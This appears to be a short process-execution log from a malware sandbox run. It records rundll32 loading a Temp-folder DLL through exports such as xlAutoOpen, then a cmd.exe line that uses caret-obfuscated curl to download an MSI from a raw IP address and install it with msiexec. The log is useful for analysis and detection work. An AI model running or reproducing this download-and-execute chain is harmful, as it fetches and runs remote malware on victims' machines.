rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\te.dll,hash
2904rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\te.dll,reverseString
2628rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\te.dll,reverseString
2868rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\te.dll,xlAutoOpen
2720rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\te.dll,xlAutoOpen
2952cmd.exe c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB&&timeout 10&&c:\users\public\1.msi
3004curl.exe curl -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB
1484timeout.exe timeout 10
2232msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"
2488rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\te.dll,
2808